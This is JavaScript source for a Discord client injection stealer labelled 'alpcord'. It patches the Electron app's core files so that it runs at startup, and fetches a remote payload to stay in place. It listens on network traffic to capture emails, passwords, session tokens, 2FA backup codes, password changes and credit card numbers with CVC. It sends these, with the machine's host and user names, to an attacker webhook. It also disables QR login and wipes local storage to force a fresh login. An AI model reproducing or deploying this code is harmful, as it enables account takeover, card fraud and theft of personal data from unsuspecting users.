1. const fs = require('fs');
  2. const os = require('os');
  3. const https = require('https');
  4. const args = process.argv;
  5. const path = require('path');
  6. const querystring = require('querystring');
  7.  
  8. const {
  9. BrowserWindow,
  10. session,
  11. } = require('electron');
  12.  
  13. const CONFIG = {
  14. webhook: "%WEBHOOK%",
  15. filters: {
  16. urls: [
  17. '/auth/login',
  18. '/auth/register',
  19. '/mfa/totp',
  20. '/mfa/codes-verification',
  21. '/users/@me',
  22. ],
  23. },
  24. filters2: {
  25. urls: [
  26. 'wss://remote-auth-gateway.discord.gg/*',
  27. ],
  28. },
  29. payment_filters: {
  30. urls: [
  31. ],
  32. },
  33. badges: {
  34. Discord_Emloyee: {
  35. Value: 1,
  36. Emoji: "<:8485discordemployee:1163172252989259898>",
  37. Rare: true,
  38. },
  39. Partnered_Server_Owner: {
  40. Value: 2,
  41. Emoji: "<:9928discordpartnerbadge:1163172304155586570>",
  42. Rare: true,
  43. },
  44. HypeSquad_Events: {
  45. Value: 4,
  46. Emoji: "<:9171hypesquadevents:1163172248140660839>",
  47. Rare: true,
  48. },
  49. Bug_Hunter_Level_1: {
  50. Value: 8,
  51. Emoji: "<:4744bughunterbadgediscord:1163172239970140383>",
  52. Rare: true,
  53. },
  54. Early_Supporter: {
  55. Value: 512,
  56. Emoji: "<:5053earlysupporter:1163172241996005416>",
  57. Rare: true,
  58. },
  59. Bug_Hunter_Level_2: {
  60. Value: 16384,
  61. Emoji: "<:1757bugbusterbadgediscord:1163172238942543892>",
  62. Rare: true,
  63. },
  64. Early_Verified_Bot_Developer: {
  65. Value: 131072,
  66. Emoji: "<:1207iconearlybotdeveloper:1163172236807639143>",
  67. Rare: true,
  68. },
  69. House_Bravery: {
  70. Value: 64,
  71. Emoji: "<:6601hypesquadbravery:1163172246492287017>",
  72. Rare: false,
  73. },
  74. House_Brilliance: {
  75. Value: 128,
  76. Emoji: "<:6936hypesquadbrilliance:1163172244474822746>",
  77. Rare: false,
  78. },
  79. House_Balance: {
  80. Value: 256,
  81. Emoji: "<:5242hypesquadbalance:1163172243417858128>",
  82. Rare: false,
  83. },
  84. Active_Developer: {
  85. Value: 4194304,
  86. Emoji: "<:1207iconactivedeveloper:1163172534443851868>",
  87. Rare: false,
  88. },
  89. Certified_Moderator: {
  90. Value: 262144,
  91. Emoji: "<:4149blurplecertifiedmoderator:1163172255489085481>",
  92. Rare: true,
  93. },
  94. Spammer: {
  95. Value: 1048704,
  96. Emoji: "⌨️",
  97. Rare: false,
  98. },
  99. },
  100. };
  101.  
  102. const executeJS = script => {
  103. const window = BrowserWindow.getAllWindows()[0];
  104. return window.webContents.executeJavaScript(script, !0);
  105. };
  106.  
  107. const clearAllUserData = () => {
  108. executeJS("document.body.appendChild(document.createElement`iframe`).contentWindow.localStorage.clear()");
  109. executeJS("location.reload()");
  110. };
  111.  
  112. const getToken = async () => await executeJS(`(webpackChunkdiscord_app.push([[''],{},e=>{m=[];for(let c in e.c)m.push(e.c[c])}]),m).find(m=>m?.exports?.default?.getToken!==void 0).exports.default.getToken()`);
  113.  
  114. const request = async (method, url, headers, data) => {
  115. url = new URL(url);
  116. const options = {
  117. protocol: url.protocol,
  118. hostname: url.host,
  119. path: url.pathname,
  120. method: method,
  121. headers: {
  122. "Access-Control-Allow-Origin": "*",
  123. },
  124. };
  125.  
  126. if (url.search) options.path += url.search;
  127. for (const key in headers) options.headers[key] = headers[key];
  128. const req = https.request(options);
  129. if (data) req.write(data);
  130. req.end();
  131.  
  132. return new Promise((resolve, reject) => {
  133. req.on("response", res => {
  134. let data = "";
  135. res.on("data", chunk => data += chunk);
  136. res.on("end", () => resolve(data));
  137. });
  138. });
  139. };
  140.  
  141. const hooker = async (content, token, account) => {
  142. content["content"] = "`" + os.hostname() + "` - `" + os.userInfo().username + "`\n\n" + content["content"];
  143. content["username"] = "alpcord";
  144. content["embeds"][0]["author"] = {
  145. "name": account.username,
  146. };
  147. content["embeds"][0]["thumbnail"] = {
  148. };
  149. content["embeds"][0]["footer"] = {
  150. "text": "alpcord",
  151. };
  152. content["embeds"][0]["title"] = "hesap";
  153.  
  154. const nitro = getNitro(account.premium_type);
  155. const badges = getBadges(account.flags);
  156. const billing = await getBilling(token);
  157.  
  158. const friends = await getFriends(token);
  159. const servers = await getServers(token);
  160.  
  161. content["embeds"][0]["fields"].push({
  162. "name": "toxen",
  163. "value": "```" + token + "```",
  164. "inline": false
  165. }, {
  166. "name": "Nitro",
  167. "value": nitro,
  168. "inline": true
  169. }, {
  170. "name": "rozet",
  171. "value": badges,
  172. "inline": true
  173. }, {
  174. "name": "ödeme",
  175. "value": billing,
  176. "inline": true
  177. });
  178.  
  179. content["embeds"].push({
  180. "title": `Total Friends: ${friends.totalFriends}`,
  181. "description": friends.message,
  182. }, {
  183. "title": `Total Servers: ${servers.totalGuilds}`,
  184. "description": servers.message,
  185. });
  186.  
  187. for (const embed in content["embeds"]) {
  188. content["embeds"][embed]["color"] = 0xb143e3;
  189. }
  190.  
  191. await request("POST", CONFIG.webhook, {
  192. "Content-Type": "application/json"
  193. }, JSON.stringify(content));
  194. };
  195.  
  196. const fetch = async (endpoint, headers) => {
  197. return JSON.parse(await request("GET", CONFIG.API + endpoint, headers));
  198. };
  199.  
  200. const fetchAccount = async token => await fetch("", {
  201. "Authorization": token
  202. });
  203. const fetchBilling = async token => await fetch("/billing/payment-sources", {
  204. "Authorization": token
  205. });
  206. const fetchServers = async token => await fetch("/guilds?with_counts=true", {
  207. "Authorization": token
  208. });
  209. const fetchFriends = async token => await fetch("/relationships", {
  210. "Authorization": token
  211. });
  212.  
  213. const getNitro = flags => {
  214. switch (flags) {
  215. case 1:
  216. return '`Nitro Classic`';
  217. case 2:
  218. return '`Nitro Boost`';
  219. case 3:
  220. return '`Nitro Basic`';
  221. default:
  222. return '`❌`';
  223. }
  224. };
  225.  
  226. const getBadges = flags => {
  227. let badges = '';
  228. for (const badge in CONFIG.badges) {
  229. let b = CONFIG.badges[badge];
  230. if ((flags & b.Value) == b.Value) badges += b.Emoji + ' ';
  231. }
  232. return badges || '`❌`';
  233. }
  234.  
  235. const getRareBadges = flags => {
  236. let badges = '';
  237. for (const badge in CONFIG.badges) {
  238. let b = CONFIG.badges[badge];
  239. if ((flags & b.Value) == b.Value && b.Rare) badges += b.Emoji + ' ';
  240. }
  241. return badges;
  242. }
  243.  
  244. const getBilling = async token => {
  245. const data = await fetchBilling(token);
  246. let billing = '';
  247. data.forEach((x) => {
  248. if (!x.invalid) {
  249. switch (x.type) {
  250. case 1:
  251. billing += '💳 ';
  252. break;
  253. case 2:
  254. billing += 'pp ';
  255. break;
  256. }
  257. }
  258. });
  259. return billing || '`❌`';
  260. };
  261.  
  262. const getFriends = async token => {
  263. const friends = await fetchFriends(token);
  264.  
  265. const filteredFriends = friends.filter((user) => {
  266. return user.type == 1
  267. })
  268. let rareUsers = "";
  269. for (const acc of filteredFriends) {
  270. var badges = getRareBadges(acc.user.public_flags)
  271. if (badges != "") {
  272. if (!rareUsers) rareUsers = "**değerli arkadaşlar:**\n";
  273. rareUsers += `${badges} ${acc.user.username}\n`;
  274. }
  275. }
  276. rareUsers = rareUsers || "**değerli arkadaşı yk**";
  277.  
  278. return {
  279. message: rareUsers,
  280. totalFriends: friends.length,
  281. };
  282. };
  283.  
  284. const getServers = async token => {
  285. const guilds = await fetchServers(token);
  286.  
  287. const filteredGuilds = guilds.filter((guild) => guild.permissions == '562949953421311' || guild.permissions == '2251799813685247');
  288. let rareGuilds = "";
  289. for (const guild of filteredGuilds) {
  290. if (rareGuilds === "") {
  291. rareGuilds += `**değerli sw:**\n`;
  292. }
  293. rareGuilds += `${guild.owner ? "<:SA_Owner:991312415352430673> Owner" : "<:admin:967851956930482206> Admin"} | Server Name: \`${guild.name}\` - Members: \`${guild.approximate_member_count}\`\n`;
  294. }
  295.  
  296. rareGuilds = rareGuilds || "**sw yok mk**";
  297.  
  298. return {
  299. message: rareGuilds,
  300. totalGuilds: guilds.length,
  301. };
  302. };
  303.  
  304. const EmailPassToken = async (email, password, token, action) => {
  305. const account = await fetchAccount(token)
  306.  
  307. const content = {
  308. "content": `**${account.username}** just ${action}!`,
  309. "embeds": [{
  310. "fields": [{
  311. "name": "mayil",
  312. "value": "`" + email + "`",
  313. "inline": true
  314. }, {
  315. "name": "şifo",
  316. "value": "`" + password + "`",
  317. "inline": true
  318. }]
  319. }]
  320. };
  321.  
  322. hooker(content, token, account);
  323. }
  324.  
  325. const BackupCodesViewed = async (codes, token) => {
  326. const account = await fetchAccount(token)
  327.  
  328. const filteredCodes = codes.filter((code) => {
  329. return code.consumed === false;
  330. });
  331.  
  332. let message = "";
  333. for (let code of filteredCodes) {
  334. message += `${code.code.substr(0, 4)}-${code.code.substr(4)}\n`;
  335. }
  336. const content = {
  337. "content": `**${account.username}** 2fa açtı`,
  338. "embeds": [{
  339. "fields": [{
  340. "name": "Backup Codes",
  341. "value": "```" + message + "```",
  342. "inline": false
  343. },
  344. {
  345. "name": "mayil",
  346. "value": "`" + account.email + "`",
  347. "inline": true
  348. }, {
  349. "name": "telo",
  350. "value": "`" + (account.phone || "None") + "`",
  351. "inline": true
  352. }
  353. ]
  354.  
  355. }]
  356. };
  357.  
  358. hooker(content, token, account);
  359. }
  360.  
  361. const PasswordChanged = async (newPassword, oldPassword, token) => {
  362. const account = await fetchAccount(token)
  363.  
  364. const content = {
  365. "content": `**${account.username}** şifo değişti`,
  366. "embeds": [{
  367. "fields": [{
  368. "name": "old şifo",
  369. "value": "`" + newPassword + "`",
  370. "inline": true
  371. }, {
  372. "name": "new şifo",
  373. "value": "`" + oldPassword + "`",
  374. "inline": true
  375. }]
  376. }]
  377. };
  378.  
  379. hooker(content, token, account);
  380. }
  381.  
  382. const CreditCardAdded = async (number, cvc, month, year, token) => {
  383. const account = await fetchAccount(token)
  384.  
  385. const content = {
  386. "content": `**${account.username}** allahcc ekledi`,
  387. "embeds": [{
  388. "fields": [{
  389. "name": "no",
  390. "value": "`" + number + "`",
  391. "inline": true
  392. }, {
  393. "name": "cıvıc",
  394. "value": "`" + cvc + "`",
  395. "inline": true
  396. }, {
  397. "name": "tarih",
  398. "value": "`" + month + "/" + year + "`",
  399. "inline": true
  400. }]
  401. }]
  402. };
  403.  
  404. hooker(content, token, account);
  405. }
  406.  
  407. const PaypalAdded = async (token) => {
  408. const account = await fetchAccount(token)
  409.  
  410. const content = {
  411. "content": `**${account.username}** pp ekledi!`,
  412. "embeds": [{
  413. "fields": [{
  414. "name": "mayil",
  415. "value": "`" + account.email + "`",
  416. "inline": true
  417. }, {
  418. "name": "telo",
  419. "value": "`" + (account.phone || "None") + "`",
  420. "inline": true
  421. }]
  422. }]
  423. };
  424.  
  425. hooker(content, token, account);
  426. }
  427.  
  428. const discordPath = (function () {
  429. const app = args[0].split(path.sep).slice(0, -1).join(path.sep);
  430. let resourcePath;
  431.  
  432. if (process.platform === 'win32') {
  433. resourcePath = path.join(app, 'resources');
  434. } else if (process.platform === 'darwin') {
  435. resourcePath = path.join(app, 'Contents', 'Resources');
  436. }
  437.  
  438. if (fs.existsSync(resourcePath)) return {
  439. resourcePath,
  440. app
  441. };
  442. return {
  443. undefined,
  444. undefined
  445. };
  446. })();
  447.  
  448. async function initiation() {
  449. if (fs.existsSync(path.join(__dirname, 'initiation'))) {
  450. fs.rmdirSync(path.join(__dirname, 'initiation'));
  451.  
  452. const token = await getToken();
  453. if (!token) return;
  454.  
  455. const account = await fetchAccount(token)
  456.  
  457. const content = {
  458. "content": `**${account.username}** yedi`,
  459.  
  460. "embeds": [{
  461. "fields": [{
  462. "name": "mayil",
  463. "value": "`" + account.email + "`",
  464. "inline": true
  465. }, {
  466. "name": "telo",
  467. "value": "`" + (account.phone || "Yok") + "`",
  468. "inline": true
  469. }]
  470. }]
  471. };
  472.  
  473. await hooker(content, token, account);
  474. clearAllUserData();
  475. }
  476.  
  477. const {
  478. resourcePath,
  479. app
  480. } = discordPath;
  481. if (resourcePath === undefined || app === undefined) return;
  482. const appPath = path.join(resourcePath, 'app');
  483. const packageJson = path.join(appPath, 'package.json');
  484. const resourceIndex = path.join(appPath, 'index.js');
  485. const coreVal = fs.readdirSync(`${app}\\modules\\`).filter(x => /discord_desktop_core-+?/.test(x))[0]
  486. const indexJs = `${app}\\modules\\${coreVal}\\discord_desktop_core\\index.js`;
  487. const bdPath = path.join(process.env.APPDATA, '\\betterdiscord\\data\\betterdiscord.asar');
  488. if (!fs.existsSync(appPath)) fs.mkdirSync(appPath);
  489. if (fs.existsSync(packageJson)) fs.unlinkSync(packageJson);
  490. if (fs.existsSync(resourceIndex)) fs.unlinkSync(resourceIndex);
  491.  
  492. if (process.platform === 'win32' || process.platform === 'darwin') {
  493. fs.writeFileSync(
  494. packageJson,
  495. JSON.stringify({
  496. name: 'discord',
  497. main: 'index.js',
  498. },
  499. null,
  500. 4,
  501. ),
  502. );
  503.  
  504. const startUpScript = `const fs = require('fs'), https = require('https');
  505. const indexJs = '${indexJs}';
  506. const bdPath = '${bdPath}';
  507. const fileSize = fs.statSync(indexJs).size
  508. fs.readFileSync(indexJs, 'utf8', (err, data) => {
  509. if (fileSize < 20000 || data === "module.exports = require('./core.asar')")
  510. init();
  511. })
  512. async function init() {
  513. https.get('${CONFIG.injection_url}', (res) => {
  514. const file = fs.createWriteStream(indexJs);
  515. res.replace('%WEBHOOK%', '${CONFIG.webhook}')
  516. res.pipe(file);
  517. file.on('finish', () => {
  518. file.close();
  519. });
  520.  
  521. }).on("error", (err) => {
  522. setTimeout(init(), 10000);
  523. });
  524. }
  525. require('${path.join(resourcePath, 'app.asar')}')
  526. if (fs.existsSync(bdPath)) require(bdPath);`;
  527. fs.writeFileSync(resourceIndex, startUpScript.replace(/\\/g, '\\\\'));
  528. }
  529. }
  530.  
  531. let email = "";
  532. let password = "";
  533. let initiationCalled = false;
  534. const createWindow = () => {
  535. mainWindow = BrowserWindow.getAllWindows()[0];
  536. if (!mainWindow) return
  537.  
  538. mainWindow.webContents.debugger.attach('1.3');
  539. mainWindow.webContents.debugger.on('message', async (_, method, params) => {
  540. if (!initiationCalled) {
  541. await initiation();
  542. initiationCalled = true;
  543. }
  544.  
  545. if (method !== 'Network.responseReceived') return;
  546. if (!CONFIG.filters.urls.some(url => params.response.url.endsWith(url))) return;
  547. if (![200, 202].includes(params.response.status)) return;
  548.  
  549. const responseUnparsedData = await mainWindow.webContents.debugger.sendCommand('Network.getResponseBody', {
  550. requestId: params.requestId
  551. });
  552. const responseData = JSON.parse(responseUnparsedData.body);
  553.  
  554. const requestUnparsedData = await mainWindow.webContents.debugger.sendCommand('Network.getRequestPostData', {
  555. requestId: params.requestId
  556. });
  557. const requestData = JSON.parse(requestUnparsedData.postData);
  558.  
  559. switch (true) {
  560. case params.response.url.endsWith('/login'):
  561. if (!responseData.token) {
  562. email = requestData.login;
  563. password = requestData.password;
  564. return; // 2FA
  565. }
  566. EmailPassToken(requestData.login, requestData.password, responseData.token, "logged in");
  567. break;
  568.  
  569. case params.response.url.endsWith('/register'):
  570. EmailPassToken(requestData.email, requestData.password, responseData.token, "signed up");
  571. break;
  572.  
  573. case params.response.url.endsWith('/totp'):
  574. EmailPassToken(email, password, responseData.token, "logged in with 2FA");
  575. break;
  576.  
  577. case params.response.url.endsWith('/codes-verification'):
  578. BackupCodesViewed(responseData.backup_codes, await getToken());
  579. break;
  580.  
  581. case params.response.url.endsWith('/@me'):
  582. if (!requestData.password) return;
  583.  
  584. if (requestData.email) {
  585. EmailPassToken(requestData.email, requestData.password, responseData.token, "changed his email to **" + requestData.email + "**");
  586. }
  587.  
  588. if (requestData.new_password) {
  589. PasswordChanged(requestData.new_password, requestData.password, responseData.token);
  590. }
  591. break;
  592. }
  593. });
  594.  
  595. mainWindow.webContents.debugger.sendCommand('Network.enable');
  596.  
  597. mainWindow.on('closed', () => {
  598. createWindow()
  599. });
  600. }
  601. createWindow();
  602.  
  603. session.defaultSession.webRequest.onCompleted(CONFIG.payment_filters, async (details, _) => {
  604. if (![200, 202].includes(details.statusCode)) return;
  605. if (details.method != 'POST') return;
  606. switch (true) {
  607. case details.url.endsWith('tokens'):
  608. const item = querystring.parse(Buffer.from(details.uploadData[0].bytes).toString());
  609. CreditCardAdded(item['card[number]'], item['card[cvc]'], item['card[exp_month]'], item['card[exp_year]'], await getToken());
  610. break;
  611.  
  612. case details.url.endsWith('paypal_accounts'):
  613. PaypalAdded(await getToken());
  614. break;
  615. }
  616. });
  617.  
  618. session.defaultSession.webRequest.onBeforeRequest(CONFIG.filters2, (details, callback) => {
  619. if (details.url.startsWith("wss://remote-auth-gateway") || details.url.endsWith("auth/sessions")) return callback({
  620. cancel: true
  621. })
  622. });
  623.  
  624. module.exports = require("./core.asar");